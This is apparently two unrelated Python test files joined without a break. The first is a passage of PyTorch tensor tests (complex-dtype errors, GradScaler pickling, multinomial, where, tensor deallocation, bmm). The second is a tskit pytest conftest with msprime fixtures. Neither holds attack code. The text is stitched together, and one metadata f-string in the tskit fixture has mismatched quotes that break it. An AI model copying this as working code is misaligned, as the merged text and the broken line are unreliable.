get_fn('float'), mf, default_is_preserve=True) @onlyCUDA def test_memory_format_cpu_and_cuda_ops(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_cpu_fn(tensor, **kwargs): return tensor.cpu(**kwargs) def transformation_cuda_fn(tensor, **kwargs): return tensor.cuda(**kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( 'cuda', get_generator(mf, shape), transformation_cpu_fn, mf, default_is_preserve=True) self._test_memory_format_transformations( 'cpu', get_generator(mf, shape), transformation_cuda_fn, mf, default_is_preserve=True) @dtypes(torch.complex64, torch.complex128) def test_complex_unsupported(self, device, dtype): t = torch.tensor((1 + 1j), device=device, dtype=dtype) # Note: this is consistent with NumPy with self.assertRaises(RuntimeError): torch.floor(t) with self.assertRaises(RuntimeError): torch.ceil(t) with self.assertRaises(RuntimeError): torch.trunc(t) # Tests min and max variants with complex inputs # Note: whether PyTorch should support min and max on complex # tensors is an open question. # See https://github.com/pytorch/pytorch/issues/36374 with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.min() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t, dim=0) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t, t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.min(t, t, out=t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.max() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t, dim=0) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t, t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.max(t, t, out=t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amin(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.amin() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amin(t, dim=0) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amax(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): t.amax() with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.amax(t, dim=0) # Tests _aminmax() variants with complex inputs, # which are currently not supported due to min & max being unsupported # for complex inputs, as per https://github.com/pytorch/pytorch/issues/36374 # Test with a single-element tensor t, as well as a multi-element tensor x with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val, max_val = torch._aminmax(t) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val = torch._aminmax(t, dim=0)[0] with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): max_val = torch._aminmax(t, dim=0)[1] # Test _aminmax() with a multi-element tensor x = torch.tensor([(1 + 1j), (2 + 3j)], device=device, dtype=dtype) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val, max_val = torch._aminmax(x) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): min_val = torch._aminmax(x, dim=0)[0] with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): max_val = torch._aminmax(x, dim=0)[1] # Tests clamp variants with complex inputs # Note: whether PyTorch should support clamp on complex # tensors is an open question. # See https://github.com/pytorch/pytorch/issues/33568 min_val = 1 + 1j max_val = 4 + 4j out = torch.empty((0,), device=device, dtype=dtype) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min=min_val) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, max=max_val) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min_val, max_val) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min=min_val, out=out) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, max=max_val, out=out) with self.assertRaisesRegex(RuntimeError, '(.*not support.*)|(.*not implemented.*)'): torch.clamp(t, min_val, max_val, out=out) def test_pickle_gradscaler(self, device): # This test is not in test_cuda.py because it should pass in 3 cases: # 1. cuda is not available. # 2. cuda is available but device is not cuda. # 3. cuda is available and device is cuda. # In case 1, a and b disable themselves on construction and shouldn't try to pickle workhorse attributes. # In case 2, a and b are enabled. Workhorse attributes participate in pickling, but none are lazy-inited # to cuda Tensors, because I don't want to do cuda things if device is not cuda. # In case 3, a and b are enabled and we may also try lazy-initing _scale to a cuda tensor. device = torch.device(device) try_lazy_inits = (True, False) if device.type == "cuda" else (False,) for lazy_init_scale in try_lazy_inits: a = torch.cuda.amp.GradScaler(init_scale=3., growth_factor=4., backoff_factor=.5, growth_interval=2) self.assertTrue(not a.is_enabled() if torch.cuda.amp.common.amp_definitely_not_available() else a.is_enabled()) if lazy_init_scale: # Dummy a.scale() call lazy-inits a._scale Tensor. a.scale(torch.tensor([4.0], dtype=torch.float32, device=device)) self.assertTrue(isinstance(a._scale, torch.cuda.FloatTensor)) # The following three lines should work whether or not cuda is available. serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertEqual(b.is_enabled(), a.is_enabled()) if a.is_enabled(): self.assertEqual(b.get_scale(), 3.) self.assertEqual(b.get_growth_factor(), 4.) self.assertEqual(b.get_backoff_factor(), .5) self.assertEqual(b.get_growth_interval(), 2) self.assertEqual(b._init_growth_tracker, 0) # supplies a dummy key to test the defaultdict's default_factory self.assertEqual(b._per_optimizer_states["fdsa"], torch.cuda.amp.grad_scaler._refresh_per_optimizer_state()) if lazy_init_scale: self.assertEqual(b.scale(torch.tensor([4.0], dtype=torch.float32, device=device)), 12.0) def test_multinomial_invalid(self, device): def test(probs): with self.assertRaisesRegex(RuntimeError, 'probability tensor contains either `inf`, `nan` or element < 0'): torch.multinomial(probs.to(device), 2) torch.cuda.synchronize() test(torch.tensor([1., -1., 1.])) test(torch.tensor([1., inf, 1.])) test(torch.tensor([1., -inf, 1.])) test(torch.tensor([1., 1., nan])) def test_multinomial_invalid_distribution(self, device): def test(probs, replacement): with self.assertRaisesRegex(RuntimeError, r"invalid multinomial distribution \(sum of probabilities <= 0\)"): torch.multinomial(probs, 2, replacement) torch.cuda.synchronize() x = torch.zeros(3, device=device) y = torch.zeros(3, 3, device=device) z = torch.zeros(3, 3, device=device) z[1, :] = 1 test(x, False) test(y, False) test(z, False) # Verify only for CPU as replacement=True # throws device side assert triggered. if self.device_type == 'cpu': test(x, True) test(y, True) test(z, True) def _test_multinomial_empty(self, device, replacement, num_samples): probs = torch.ones(0, 3, device=device) expected = torch.empty(0, num_samples, dtype=torch.int64) out = torch.multinomial(probs, num_samples=num_samples, replacement=replacement) self.assertEqual(out, expected) def test_multinomial_empty_w_replacement(self, device): self._test_multinomial_empty(device, True, 1) self._test_multinomial_empty(device, True, 2) def test_multinomial_empty_wo_replacement(self, device): self._test_multinomial_empty(device, False, 1) self._test_multinomial_empty(device, False, 2) def _generate_input(self, shape, dtype, device, with_extremal): if shape == (): x = torch.tensor((), dtype=dtype, device=device) else: if dtype.is_floating_point or dtype.is_complex: # work around torch.randn not being implemented for bfloat16 if dtype == torch.bfloat16: x = torch.randn(*shape, device=device) * random.randint(30, 100) x = x.to(torch.bfloat16) else: x = torch.randn(*shape, dtype=dtype, device=device) * random.randint(30, 100) x[torch.randn(*shape) > 0.5] = 0 if with_extremal and dtype.is_floating_point: # Use extremal values x[torch.randn(*shape) > 0.5] = float('nan') x[torch.randn(*shape) > 0.5] = float('inf') x[torch.randn(*shape) > 0.5] = float('-inf') elif with_extremal and dtype.is_complex: x[torch.randn(*shape) > 0.5] = complex('nan') x[torch.randn(*shape) > 0.5] = complex('inf') x[torch.randn(*shape) > 0.5] = complex('-inf') elif dtype == torch.bool: x = torch.zeros(shape, dtype=dtype, device=device) x[torch.randn(*shape) > 0.5] = True else: x = torch.randint(15, 100, shape, dtype=dtype, device=device) return x def _test_where_scalar_template(self, device, dtype, exec_fn): for with_extremal in [True, False]: for ndims in range(0, 4): shape = self._rand_shape(ndims, min_size=5, max_size=10) for n in range(ndims + 1): for c in combinations(list(range(ndims)), n): for scalar_type in [int, float, complex]: if dtype.is_complex: condition = self._generate_input(shape, dtype, device, with_extremal).abs() > 0.5 else: condition = self._generate_input(shape, dtype, device, with_extremal) > 0.5 x = self._generate_input(shape, dtype, device, with_extremal) if not dtype.is_complex and scalar_type == complex: continue scalar_1 = scalar_type(random.random()) exec_fn(scalar_type, dtype, condition, x, scalar_1) # For current implementation, # below are the valid `TensorDtype` and `ScalarType` combinations. def _where_valid_scalar_tensor_combination(self, scalar_type, dtype): if (scalar_type == int and dtype == torch.long): return True elif (scalar_type == float and dtype == torch.double): return True elif (scalar_type == complex and dtype == torch.complex128): return True return False @onlyOnCPUAndCUDA @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes() + get_all_complex_dtypes())) def test_where_scalar_invalid_combination_raises(self, device, dtype): def checkRaises(scalar_type, dtype, condition, x, scalar_1): if not self._where_valid_scalar_tensor_combination(scalar_type, dtype): # Note: This should fail once `where` supports type promotion. with self.assertRaisesRegex(RuntimeError, "expected scalar type"): torch.where(condition, x, scalar_1) self._test_where_scalar_template(device, dtype, checkRaises) @skipCUDAVersionIn([(11, 2)]) # test fails for 11.2, see https://github.com/pytorch/pytorch/issues/51980 @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes() + get_all_complex_dtypes())) def test_where_scalar_valid_combination(self, device, dtype): def checkResult(scalar_type, dtype, condition, x, scalar_1): if self._where_valid_scalar_tensor_combination(scalar_type, dtype): def x_like(scalar, without_dtype=False): return torch.tensor(scalar, dtype=dtype, device=device).expand_as(x) # X = Tensor, Y = Scalar scalar_out = torch.where(condition, x, scalar_1) tensor_out = torch.where(condition, x, x_like(scalar_1)) self.assertEqual(scalar_out, tensor_out) # X = Scalar, Y = Tensor scalar_out = torch.where(condition, scalar_1, x) tensor_out = torch.where(condition, x_like(scalar_1), x) self.assertEqual(scalar_out, tensor_out) self._test_where_scalar_template(device, dtype, checkResult) # As the test fails with Runtime Error not raised on XLA @onlyOnCPUAndCUDA def test_where_scalar_scalar(self, device): # Scalar-Scalar Version height = 5 width = 5 default_dtype = torch.get_default_dtype() for test_default_dtype in [torch.float, torch.double]: torch.set_default_dtype(test_default_dtype) for scalar_type_1 in [int, float, complex]: for scalar_type_2 in [int, float, complex]: x1 = scalar_type_1(random.random() * random.randint(10, 20)) x2 = scalar_type_2(random.random() * random.randint(20, 30)) condition = torch.randn(height, width, device=device) > 0.5 if scalar_type_1 != scalar_type_2: self.assertRaisesRegex(RuntimeError, "expected scalar type", lambda: torch.where(condition, x1, x2)) else: def get_dtype(scalar_type): complex_dtype = torch.complex64 if torch.float == torch.get_default_dtype() else torch.complex128 type_map = {int: torch.long, float: torch.get_default_dtype(), complex: complex_dtype} return type_map[scalar_type] expected = torch.zeros((height, width), dtype=get_dtype(scalar_type_1)) expected[condition] = x1 expected[~condition] = x2 result = torch.where(condition, x1, x2) self.assertEqual(expected, result) # Reset the original dtype torch.set_default_dtype(default_dtype) def test_hook_remove(self, device): # Reference: https://github.com/pytorch/pytorch/issues/58354 def _test_helper(remove_hook): def install_hook(tensor): handle = None def hook(tensor): if remove_hook: handle.remove() return torch.zeros_like(tensor) handle = tensor.register_hook(hook) t = torch.ones((1, 5), device=device, requires_grad=True) install_hook(t) # First call to backward t.mean().backward() self.assertEqual(t.grad, torch.zeros_like(t)) # Second call to backward t.mean().backward() if remove_hook: # After removing the hook, make sure the usual gradient is returned self.assertEqual(t.grad, 0.2 * torch.ones_like(t)) else: self.assertEqual(t.grad, torch.zeros_like(t)) _test_helper(remove_hook=True) _test_helper(remove_hook=False) # Tests that compare a device's computation with the (gold-standard) CPU's. class TestDevicePrecision(TestCase): exact_dtype = True @onlyCUDA def test_index_add_bfloat16(self, device): inp_tensor = torch.randn(5, 3, device='cpu').bfloat16() t = torch.tensor([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=torch.bfloat16, device='cpu') index = torch.tensor([0, 4, 2], device='cpu') out_cpu = inp_tensor.index_add(0, index, t) inp_tensor = inp_tensor.to(device=device) t = t.to(device=device) index = index.to(device=device) out_gpu = inp_tensor.index_add(0, index, t) self.assertEqual(out_cpu, out_gpu, atol=1e-2, rtol=0) def test_device_serialization(self, device): x = torch.randn(4, 4, device=device) with tempfile.NamedTemporaryFile() as f: torch.save(x, f) f.seek(0) x_copy = torch.load(f) self.assertEqual(x_copy, x) self.assertIs(type(x_copy), type(x)) self.assertEqual(x_copy.device, x.device) @deviceCountAtLeast(2) def test_multidevice_serialization(self, devices): x = [torch.randn(4, 4, device=devices[0]), torch.randn(4, 4, device=devices[1])] with tempfile.NamedTemporaryFile() as f: torch.save(x, f) f.seek(0) x_copy = torch.load(f) for original, cp in zip(x, x_copy): self.assertEqual(cp, original) self.assertIs(type(cp), type(original)) self.assertEqual(cp.device, original.device) @deviceCountAtLeast(1) def test_copy_noncontig(self, devices): def do_test(d0, d1): x = torch.tensor([1.5, 2.5, 3.5, 4.5, 5.5, 6.5], device=d0) y = torch.tensor([0, 0, 0, 0, 0, 0], device=d1) self.assertNotEqual(x.dtype, y.dtype) y[::2].copy_(x[::2]) self.assertEqual(y, [1, 0, 3, 0, 5, 0]) do_test('cpu', devices[0]) do_test(devices[0], 'cpu') if len(devices) > 1: do_test(devices[0], devices[1]) @deviceCountAtLeast(2) def test_type_conversions_same_device(self, devices): x = torch.randn(5, 5, device=devices[1]) self.assertEqual(x.int().device, torch.device(devices[1])) self.assertEqual(x.type(torch.int).device, torch.device(devices[1])) self.assertEqual(x.to(torch.int).device, torch.device(devices[1])) @dtypesIfCUDA(torch.half, torch.float, torch.double, torch.int8, torch.short, torch.int, torch.long, torch.uint8) @dtypes(torch.float, torch.double, torch.int8, torch.short, torch.int, torch.long, torch.uint8) def test_from_sequence(self, device, dtype): seq = [list(range(i * 4, i * 4 + 4)) for i in range(5)] reference = torch.arange(0, 20).resize_(5, 4) self.assertEqual(torch.tensor(seq, dtype=dtype, device=device), reference, exact_dtype=False) @deviceCountAtLeast(1) def test_advancedindex_mixed_cpu_devices(self, devices) -> None: def test(x: torch.Tensor, ia: torch.Tensor, ib: torch.Tensor) -> None: # test getitem self.assertEqual(x[:, ia, None, ib, 0].cpu(), x.cpu()[:, ia.cpu(), None, ib.cpu(), 0]) self.assertEqual(x[ia], x.cpu()[ia.cpu()]) # test setitem x_clone1 = x.clone() x_clone2 = x.clone() first_shape = x[:, ia, None, ib, 0].shape second_shape = x[ia].shape x_clone1[:, ia, None, ib, 0] = torch.randn(first_shape).to(x_clone1) x_clone2[ia] = torch.randn(second_shape).to(x_clone2) cpu = torch.device('cpu') for device in devices: # Index cpu tensor with device tensor x = torch.randn(3, 4, 4, 4, 3) ia = torch.tensor([0, 2, 1]).to(device) ib = torch.tensor([0, 2, 1]).to(device) test(x, ia, ib) # Index device tensor with cpu tensor x = x.to(device) ia = ia.to(cpu) ib = ib.to(cpu) test(x, ia, ib) # Index cpu tensor with mixed cpu, device tensors x = x.to(cpu) ia = ia.to(cpu) ib = ib.to(device) test(x, ia, ib) # Index device tensor with mixed cpu, device tensors x = x.to(device) ia = ia.to(cpu) ib = ib.to(device) test(x, ia, ib) if len(devices) > 1: other_device = devices[0] if device == devices[0]: other_device = devices[1] # Index device tensor with mixed cpu, device tensors on different devices x = x.to(device) ia = ia.to(cpu) ib = ib.to(other_device) test(x, ia, ib) def test_copy_broadcast(self, device) -> None: x = torch.randn(10, 5) y = torch.randn(5, device=device) x.copy_(y) self.assertEqual(x[3], y) x = torch.randn(10, 5, device=device) y = torch.randn(5) x.copy_(y) self.assertEqual(x[3], y) @dtypes(torch.int64, torch.float32, torch.float64) def test_clamp(self, device, dtype): test_args = [ *product( [(100, 50), (10, 64), (97,)], # shape (True, False), # non-contiguous ) ] for shape, noncontig in test_args: x = make_tensor(shape, device=device, dtype=dtype, noncontiguous=noncontig) ub = make_tensor(shape, device=device, dtype=dtype, noncontiguous=noncontig) lb = make_tensor(shape, device=device, dtype=dtype, noncontiguous=noncontig) expect = x.max(lb).min(ub) actual = x.clamp(lb, ub) self.assertEqual(expect, actual) expect = np.clip(x.cpu().numpy(), lb.cpu().numpy(), ub.cpu().numpy()) self.assertEqual(expect, actual) expect = x.max(lb) actual = x.clamp(min=lb) self.assertEqual(expect, actual) expect = x.min(ub) actual = x.clamp(max=ub) self.assertEqual(expect, actual) # Test broadcasting min & max expect = x.max(lb[0]).min(ub[..., :1]) actual = x.clamp(lb[0], ub[..., :1]) self.assertEqual(expect, actual) # Test broadcasting x expect = x[..., :1].max(lb).min(ub) actual = x[..., :1].clamp(lb, ub) self.assertEqual(expect, actual) # we implemented custom deallocation for subclasses, so it behooves # us to make sure all of these bits work. We'll use __del__ to # track if objects die or not class Tracker: def __init__(self, marker): self.marker = marker @staticmethod def make(): marker = [False] return marker, Tracker(marker) def __del__(self): self.marker[0] = True @contextlib.contextmanager def disable_gc(): if gc.isenabled(): try: gc.disable() yield finally: gc.enable() else: yield class TestTorch(AbstractTestCases._TestTorchMixin): exact_dtype = True def test_tensor_ctor_scalar(self): x = torch.Tensor(torch.tensor(1.0)) self.assertEqual(x, torch.tensor(1.0)) def test_deepcopy_gradient(self): from copy import deepcopy a = torch.zeros(10) a.grad = torch.ones(10) self.assertEqual(a.grad, deepcopy(a).grad) s = torch.zeros(10).to_sparse() s.grad = torch.ones(10).to_sparse() self.assertEqual(s.grad, deepcopy(s).grad) # ensure sharing is not broken c = deepcopy([a, a.grad]) self.assertTrue(c[0].grad is c[1]) def test_tensor_base_init(self): # Direct construction not OK self.assertRaises(RuntimeError, lambda: torch._C._TensorBase()) # But construction of subclass is OK class T(torch._C._TensorBase): pass T() def test_tensor_base_new(self): # OK to call super().__new__, see # https://github.com/pytorch/pytorch/issues/57421 class TestTensor(torch._C._TensorBase): @staticmethod def __new__(cls, x, *args, **kwargs): return super().__new__(cls, x, *args, **kwargs) x = torch.ones(5) test_tensor = TestTensor(x) def test_pyobj_preserved(self): x = torch.empty(2) x.foo = 2 # put something on __dict__ y = torch.empty(2) y.grad = x del x # x is dead in Python self.assertEqual(y.grad.foo, 2) z = y.grad # it's live del z # it's dead again self.assertEqual(y.grad.foo, 2) def test_subclass_preserved(self): class MyTensor(torch._C._TensorBase): pass x = MyTensor(torch.empty(2)) y = torch.empty(2) y.grad = x del x # x is dead in Python self.assertEqual(type(y.grad), MyTensor) z = y.grad # it's live del z # it's dead again self.assertEqual(type(y.grad), MyTensor) def test_tensor_slot_dealloc(self): class SlotTensor1(torch._C._TensorBase): __slots__ = ['slot1'] class SlotTensor2(SlotTensor1): __slots__ = ['slot2'] m1, t1 = Tracker.make() m2, t2 = Tracker.make() slot_tensor = SlotTensor2(torch.empty(2)) slot_tensor.slot1 = t1 slot_tensor.slot2 = t2 del t1 del t2 self.assertFalse(m1[0]) self.assertFalse(m2[0]) del slot_tensor self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_tensor_dict_dealloc(self): m, t = Tracker.make() x = torch.empty(2) x.arf = t del t self.assertFalse(m[0]) del x self.assertTrue(m[0]) def test_tensor_finalizer_dealloc(self): m = [False] class FinalizerTensor(torch._C._TensorBase): def __del__(self): m[0] = True fin_tensor = FinalizerTensor(torch.empty(2)) self.assertFalse(m[0]) del fin_tensor self.assertTrue(m[0]) def test_tensor_weakref_dealloc(self): x = torch.empty(2) m = [False] def cb(r): m[0] = True wref = weakref.ref(x, cb) del x self.assertTrue(m[0]) self.assertEqual(wref(), None) def test_tensor_cycle_via_dict(self): m1, t1 = Tracker.make() x = torch.empty(2) x._tracker = t1 del t1 m2, t2 = Tracker.make() y = torch.empty(2) y._tracker = t2 del t2 x._loop = y y._loop = x # C++ reference should keep the cycle live! # This exercise THPVariable_subtype_traverse # NB: Because z.grad is a reference done entirely in C++, cycles # involving it directly are NOT broken by Python GC; you've # set up a good old C++ reference cycle which we cannot safely # break (because C++ references are allowed to be accessed # multithreaded-ly) (TODO: except maybe if you can prove that # only Python has access to the C++ object, in which case you can # also prove that no multithreaded access occurs) z = torch.empty(2) z.grad = x del x del y gc.collect() self.assertFalse(m1[0]) self.assertFalse(m2[0]) with disable_gc(): del z self.assertFalse(m1[0]) self.assertFalse(m2[0]) gc.collect() self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_tensor_cycle_via_slots(self): m1 = [False] m2 = [False] class SlotTensor1(torch._C._TensorBase): __slots__ = ['slot1'] def __del__(self): m1[0] = True class SlotTensor2(SlotTensor1): __slots__ = ['slot2'] def __del__(self): m2[0] = True x = SlotTensor1(torch.empty(2)) y = SlotTensor2(torch.empty(2)) x.slot1 = y y.slot2 = x del x with disable_gc(): del y self.assertFalse(m1[0]) self.assertFalse(m2[0]) gc.collect() self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_backward_hooks_traverse(self): m1, t1 = Tracker.make() m2, t2 = Tracker.make() x = torch.empty(2, requires_grad=True) x._tracker = t1 y = torch.empty(2, requires_grad=True) y._tracker = t2 del t1 del t2 # this hits a special setter, it's not just a __dict__ entry x._backward_hooks = y y._backward_hooks = x del x with disable_gc(): del y self.assertFalse(m1[0]) self.assertFalse(m2[0]) gc.collect() self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_dead_weak_ref(self): x = torch.empty(2) w_x = weakref.ref(x) y = torch.empty(2) y.grad = x del x x = w_x() # Ideally, x would keep the tensor live. But CPython doesn't # provide enough hooks to do this. So it will go dead and x # will transmute into an undefined tensor. Not great, but the # best we can do. del y self.assertRaises(RuntimeError, lambda: x.sigmoid()) def test_resurrected_weak_ref(self): x = torch.empty(2) w_x = weakref.ref(x) y = torch.empty(2) y.grad = x del x x = w_x() # Use this to manually fix weak references after dereferencing them x._fix_weakref() del y x.sigmoid() @torch.inference_mode() def test_bmm_multithreaded(self): device = 'cpu' num_threads = torch.get_num_threads() torch.set_num_threads(4) batch_sizes = [1, 10] M, N, O = 23, 8, 12 dtype = torch.float32 numpy_dtype = dtype def invert_perm(p): d = {x: i for i, x in enumerate(p)} return (d[0], d[1], d[2]) def generate_inputs(num_batches): # transposed tensors for perm1, perm2 in itertools.product(itertools.permutations((0, 1, 2)), repeat=2): b1 = make_tensor((num_batches, M, N), device, dtype, low=-1, high=1) b2 = make_tensor((num_batches, N, O), device, dtype, low=-1, high=1) b1 = b1.permute(perm1).contiguous().permute(invert_perm(perm1)) b2 = b2.permute(perm2).contiguous().permute(invert_perm(perm2)) yield b1, b2 # broadcasting tensors for b1, b2, b3, b4, b5, b6 in itertools.product((True, False), repeat=6): shape1 = (num_batches if b1 else 1, M if b2 else 1, N if b3 else 1) shape2 = (num_batches if b4 else 1, N if b5 else 1, O if b6 else 1) b1 = make_tensor(shape1, device, dtype, low=-1, high=1).expand(num_batches, M, N) b2 = make_tensor(shape2, device, dtype, low=-1, high=1).expand(num_batches, N, O) yield b1, b2 # zero-sized tensors for z1, z2, z3, z4 in itertools.product((True, False), repeat=4): shape1 = (num_batches if z1 else 0, M if z2 else 0, N if z3 else 0) shape2 = (num_batches if z1 else 0, N if z3 else 0, O if z4 else 0) b1 = torch.randn(shape1, dtype=dtype, device=device) b2 = torch.randn(shape2, dtype=dtype, device=device) yield b1, b2 try: for num_batches in batch_sizes: for (b1, b2), perm3 in itertools.product(generate_inputs(num_batches), itertools.permutations((0, 1, 2))): res1 = torch.bmm(b1, b2) res2 = torch.full((num_batches, M, O), math.nan, dtype=dtype, device=device) \ .permute(perm3).contiguous().permute(invert_perm(perm3)) torch.bmm(b1, b2, out=res2) expect = torch.from_numpy( b1.to(numpy_dtype).cpu().numpy() @ b2.to(numpy_dtype).cpu().numpy()).to(device=device, dtype=dtype) self.assertEqual(expect, res1) self.assertEqual(expect, res2) finally: torch.set_num_threads(num_threads) # TODO: these empy classes are temporarily instantiated for XLA compatibility # once XLA updates their test suite it should be removed class TestViewOps(TestCase): pass class TestTensorDeviceOps(TestCase): pass # Generates tests # Note: test generation must be done at file scope, not within main, or # pytest will fail. add_neg_dim_tests() instantiate_device_type_tests(TestViewOps, globals()) instantiate_device_type_tests(TestVitalSignsCuda, globals()) instantiate_device_type_tests(TestTensorDeviceOps, globals()) instantiate_device_type_tests(TestTorchDeviceType, globals()) instantiate_device_type_tests(TestDevicePrecision, globals(), except_for='cpu') if __name__ == '__main__': run_tests()
# MIT License # # Copyright (c) 2018-2020 Tskit Developers # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """ Configuration and fixtures for pytest. Only put test-suite wide fixtures in here. Module specific fixtures should live in their modules. To use a fixture in a test simply refer to it by name as an argument. This is called dependancy injection. Note that all fixtures should have the suffix "_fixture" to make it clear in test code. For example to use the `ts` fixture (a tree sequence with data in all fields) in a test: class TestClass: def test_something(self, ts_fixture): assert ts_fixture.some_method() == expected Fixtures can be parameterised etc. see https://docs.pytest.org/en/stable/fixture.html Note that fixtures have a "scope" for example `ts_fixture` below is only created once per test session and re-used for subsequent tests. """ import msprime import pytest from pytest import fixture import tskit def pytest_addoption(parser): """ Add options, e.g. to skip tests marked with `@pytest.mark.slow` """ parser.addoption( "--skip-slow", action="store_true", default=False, help="Skip slow tests" ) parser.addoption( "--overwrite-expected-visualizations", action="store_true", default=False, help="Overwrite the expected viz files in tests/data/svg/", ) parser.addoption( "--draw-svg-debug-box", action="store_true", default=False, help="To help debugging, draw lines around the plotboxes in SVG output files", ) def pytest_configure(config): """ Add docs on the "slow" marker """ config.addinivalue_line("markers", "slow: mark test as slow to run") def pytest_collection_modifyitems(config, items): if config.getoption("--skip-slow"): skip_slow = pytest.mark.skip(reason="--skip-slow specified") for item in items: if "slow" in item.keywords: item.add_marker(skip_slow) @fixture def overwrite_viz(request): return request.config.getoption("--overwrite-expected-visualizations") @fixture def draw_plotbox(request): return request.config.getoption("--draw-svg-debug-box") @fixture(scope="session") def simple_degree1_ts_fixture(): return msprime.simulate(10, random_seed=42) @fixture(scope="session") def simple_degree2_ts_fixture(): ts = msprime.simulate(10, recombination_rate=0.2, random_seed=42) assert ts.num_trees == 2 return ts @fixture(scope="session") def ts_fixture(): """ A tree sequence with data in all fields """ demography = msprime.Demography() demography.add_population(name="A", initial_size=10_000) demography.add_population(name="B", initial_size=5_000) demography.add_population(name="C", initial_size=1_000) demography.add_population(name="D", initial_size=500) demography.add_population(name="E", initial_size=100) demography.add_population_split(time=1000, derived=["A", "B"], ancestral="C") ts = msprime.sim_ancestry( samples={"A": 10, "B": 10}, demography=demography, sequence_length=5, random_seed=42, record_migrations=True, record_provenance=True, ) ts = msprime.sim_mutations(ts, rate=0.001, random_seed=42) tables = ts.dump_tables() # Add locations to individuals individuals_copy = tables.individuals.copy() tables.individuals.clear() for i, individual in enumerate(individuals_copy): tables.individuals.append( individual.replace(location=[i, i + 1], parents=[i - 1, i - 1]) ) for name, table in tables.name_map.items(): if name != "provenances": table.metadata_schema = tskit.MetadataSchema({"codec": "json"}) metadatas = [f'{{'foo':'n_{name}_{u}"}}' for u in range(len(table))] metadata, metadata_offset = tskit.pack_strings(metadatas) table.set_columns( **{ **table.asdict(), "metadata": metadata, "metadata_offset": metadata_offset, } ) tables.metadata_schema = tskit.MetadataSchema({"codec": "json"}) tables.metadata = "Test metadata" # Add some more rows to provenance to have enough for testing. for _ in range(3): tables.provenances.add_row(record="A") return tables.tree_sequence() @fixture(scope="session") def replicate_ts_fixture(): """ A list of tree sequences """ return list(msprime.simulate(10, num_replicates=10, random_seed=42))
